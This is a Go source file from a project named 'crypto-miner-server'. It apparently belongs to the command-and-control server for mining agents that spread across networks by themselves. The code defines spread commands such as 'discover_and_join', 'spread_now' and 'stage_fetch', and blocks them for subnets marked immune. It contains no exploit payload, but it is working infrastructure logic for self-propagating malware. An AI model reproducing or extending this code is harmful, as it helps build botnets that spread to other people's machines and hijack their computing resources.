package api

import (
	"fmt"
	"strings"

	"crypto-miner-server/internal/atlas"
)

var spreadCommandActions = map[string]bool{
	"discover_and_join": true,
	"spread_now":        true,
	"stage_fetch":       true,
}

func isSpreadCommandAction(action string) bool {
	return spreadCommandActions[strings.TrimSpace(strings.ToLower(action))]
}

func (h *WSHub) checkSubnetSpreadImmune(agentID, action string, args map[string]interface{}) error {
	if h == nil || h.subnetImmune == nil || !isSpreadCommandAction(action) {
		return nil
	}
	if h.db != nil && agentID != "" {
		if agent, err := h.db.GetAgent(agentID); err == nil && agent != nil && agent.IP != "" {
			if err := h.subnetImmune.SpreadActionBlocked(agent.IP); err != nil {
				return err
			}
		}
	}
	if args != nil {
		for _, key := range []string{"host", "subnet", "target"} {
			if raw, ok := args[key].(string); ok && strings.TrimSpace(raw) != "" {
				if err := h.subnetImmune.SpreadActionBlocked(raw); err != nil {
					return err
				}
			}
		}
	}
	return nil
}

// SetSubnetImmune wires subnet /24 spread pause tracking.
func (h *WSHub) SetSubnetImmune(immune *atlas.SubnetImmune) {
	if h == nil {
		return
	}
	h.mu.Lock()
	h.subnetImmune = immune
	h.mu.Unlock()
}

func spreadImmuneBlockedMessage(err error) string {
	if err == nil {
		return ""
	}
	return fmt.Sprintf("spread blocked: %v", err)
}